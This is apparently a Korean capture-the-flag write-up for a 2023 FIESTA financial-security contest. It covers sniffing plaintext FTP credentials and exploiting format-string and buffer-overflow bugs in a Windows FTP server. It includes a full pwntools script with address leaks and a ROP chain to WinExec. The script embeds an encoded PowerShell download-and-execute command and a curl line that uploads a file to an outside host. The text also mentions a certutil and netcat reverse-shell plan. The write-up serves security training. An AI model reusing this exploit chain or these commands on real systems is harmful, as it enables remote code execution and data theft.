2023 FIESTA 금융보안 위협 분석 대회 #2 시나리오 - 공급망 공격

2023. 10. 18. 21:14CTF

목차

01) 시나리오 - 랜섬웨어 1

02) 시나리오 - 공급망 공격 1, 2

03) 시나리오 - APT 1, 2

04) 시나리오 - 악성 앱 1, 2

05) 침해대응 - 문제 3


시나리오 - 공급망 공격 1 (100+82 pts)

공급망 공격 1

문제에서 제공한 fiestaFTP.exe를 실행시키면 신용카드 결제 기능을 통해 아래 그림과 같이 카드정보를 입력하고 FTP 서버로 승인 요청 패킷을 보낼 수 있다

결제 승인 요청


이 과정을 프로세스 모니터와 와이어샤크를 통해 모니터링하였다.


프로세스 모니터를 통해 40.82.159.132:1337로 패킷을 주고받는 것을 확인할 수 있었고 와이어샤크로 해당 ip로의 통신을 TCP Stream Follow 기능을 통해 패킷 통신 내용을 확인한 결과 파일 전송 프로토콜 형태로 주고받는 통신 내용을 확인할 수 있었다. FTP서버와의 통신 내용이 평문으로 전송되고 있었다.
따라서 쉽게 FTP서버의 계정 정보를 획득할 수 있다.

프로세스 모니터
와이어샤크 TCP Stream


FTP통신에서 USER와 PASS는 FTP 클라이언트 명령어 중 각각 username과 password에 해당한다.

fiesta{40.82.159.132_1337_user_chance12#$}

시나리오 - 공급망 공격 2 (400+94 pts)

공급망 공격 2

프로그램은 입력한 문자열을 명령어와 인자로 각각 파싱한다.

<sub_14002EA90> 함수에서 FTP 명령어를 확인할 수 있다. 명령어 중 “VULN” 이 존재한다.

“VULN”을 실행하는 함수인 <sub_140038250> 에는 하위 명령어인 “FMTR”“BOFR”이 존재한다.

“FMTR”을 실행하는 함수인 <sub_140026F50> 에서는 fsb 취약점이 발생한다.

입력한 문자열에 d 또는 x 또는 f가 있는지 검사하고 %가 있는지 검사한다.

입력한 문자열을 <_stdio_common_vsprintf>를 통해 실행시킨다.

FSB 취약점을 이용하여 leak을 하기 위해서는 %s를 입력할 수 있어야 한다. 그러나 while문을 통해 문자열 끝자리에 d, x, f가 존재하는지 차례대로 검사한다. 따라서 이를 우회하기 위해 %sd를 입력하여 원하는 주소를 %sleak하여 뒤에 d가 붙어서 나오도록 하였다.

FMTR 실행함수 (sub_140026F50)

 

“BOFR”을 실행하는 함수인 <sub_140026EF0> 에서는 bof 취약점이 발생한다.

첫번째 인자는 복사할 데이터의 길이이고 두번째 인자는 복사할 데이터이다. 따라서 복사할 데이터의 길이를 buffer의 크기보다 크게 입력할 경우 BOF 취약점이 발생한다.

 

BOFR 실행 함수 (sub_140026EF0)

 

bofr 함수에서 입력값을 \x00이 나올 때까지 출력시킨다는 점을 이용하여 BOF 취약점을 이용하여 stack 주소가 들어있는 rbp값을 leak하였다

FSB 취약점과 앞서 획득한 stack 주소를 이용하여 rip에 위치한 codebase 주소를 leak 하였다.

FSB 취약점과 앞서 획득한 codebase 주소를 이용하여 취약 프로그램의 .idata에 있는 kernel32.dll 주소를 leak 하였다.

FSB 취약점과 앞서 획득한 kernel32.dll 주소를 이용하여 kernel32.dll.idata에 있는 ntdll.dll 주소를 leak 하였다.

 

이후 WinExecrip를 변경하는 rop코드를 작성하였다. 처음에는 초기에 획득한 stack 주소를 이용하여 WinExec의 인자를 바로 저장하였으나 stack 주소가 계속 변경되는 문제가 발생하여 새로운 rop 코드를 고민하였다.

 

따라서 이 점을 보완하기 위해 새롭게 작성한 rop코드는 rip를 변조하는 시점에 r11에 존재하는 stack주소를 이용하였다.

r11에 있는 스택 주소를 WinExec의 인자가 저장된 스택 위치로 옮긴 후 rcx에 저장했다.

 

우선 rcxrax로 옮긴뒤 sub rax, rcx를 이용하여 스택 위치를 조정했다. 이 주소를 WinExec의 인자로 사용하기 위해서는 rcx r11 값을 저장해야했다. 그러나 mov rcx, r11와 같은 가젯이 존재하지 않았으므로 rcx 0으로 설정하고 add rcx; rax를 통해 주소를 저장하였다.

 

rip가 한번 조작되면 프로그램에 에러가 발생하여 프로세스가 자동 재시작되는 5분을 기다려야했으므로 최대한 디버깅과 즉시 재시작이 가능한 로컬환경에서 우선적으로 테스트하였다.

 

curl 명령어 사용 전 certutil을 이용하여 nc.exe를 서버에 다운받게하고 실행시켜 reverse shell을 획득할 계획이었으나 작동하지 않는 것으로 보아 문제 서버 윈도우의 실시간 보호가 켜져있다고 판단하였다.

따라서 curl을 이용하여 디렉토리를 하나씩 탐색하는 과정을 통해 flag를 알아낼 수 있었다.

 

- ex.py

#!/usr/bin/python3
# MIsutgaRU
# remote server

from pwn import *

s = remote("40.82.159.132", 2057)
context.log_level = 'debug'

s.recvuntil(b"220 Welcome to fiestaFTP Server\r\n")
s.send(b"VULN BOFR 288 "+b"A"*288+b"\r\n")

s.recvuntil(b"A"*288)
stack = u64(s.recv(5).ljust(8, b"\x00"))
log.info("stack: "+hex(stack))

s.send(b"VULN FMTR %sd "+p64(stack-8)+b"\r\n")
s.recvuntil(b"777 ")
codebase = u64(s.recv(6).ljust(8, b"\x00")) - 0x133e
log.info("codebase: "+hex(codebase))

idata = codebase + 0x8A018 # UnhandledExceptionFilter
s.send(b"VULN FMTR %sd "+p64(idata)+b"\r\n")
s.recvuntil(b"777 ")
kerneldll = u64(s.recv(6).ljust(8, b"\x00")) - 0x37B60
log.info("kerneldll: "+hex(kerneldll))

s.send(b"VULN FMTR %sd "+p64(kerneldll+0x79FD8)+b"\r\n") # NtEnumerateKey
s.recvuntil(b"777 ")
ntdll = u64(s.recv(6).ljust(8, b"\x00")) - 0xA06A0
log.info("ntdll: "+hex(ntdll))

payload = b"VULN BOFR 1000 "#b"A"*296 # 329 365 #411
cmd = b"cmd\t/c\tpowershell\t-EncodedCommand\t\"SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMAAuADMAOgA3ADcANwA3AC8AcwBoAGUAbABsAC4AcABzADEAJwAp\"\t-ExecutionPolicy\tBypass\x00"
cmd = cmd.ljust(296, b"\x90")
payload += cmd
payload += p64(ntdll+0x9428e) # mov rax, r11 ; ret
payload += p64(ntdll+0x9226b) # pop rcx ; ret
payload += p64(0xfffffffffffffeff)
payload += p64(ntdll+0x6653f) # sub rax, rcx ; ret
payload += p64(ntdll+0x9226b) # pop rcx ; ret
payload += p64(0)
payload += p64(ntdll+0xc3256) # add rcx, rax ; mov eax, dword ptr [rcx + 0xf28] ; ret
payload += p64(ntdll+0x8fc27) # pop rdx ; pop r11 ; ret
payload += p64(0)+p64(0)
payload += p64(ntdll+0x8fc27) # pop rdx ; pop r11 ; ret
payload += p64(0)+p64(0)
payload += p64(kerneldll+0x5F830) # WinExec()
payload += b"B"*(0x81-0x18)
ipport = b"0.0.0.0:0000"
payload += b"cmd.exe\t/c\t\"curl\t-F\tfile=@C:/flag_deadbeefdeadc0de.txt\thttp://"+ipport+"\"\x00"
payload += b"\r\n"
s.send(payload)

s.interactive()

cmd.exe /c dir "../../../../" 명령어 실행 결과
flag_deadbeefdeadc0de.txt 내용

fiesta{2f3cc1fa877046a54a3929a2421b147c68a7694b9fa11d01519f8612eb654cdd}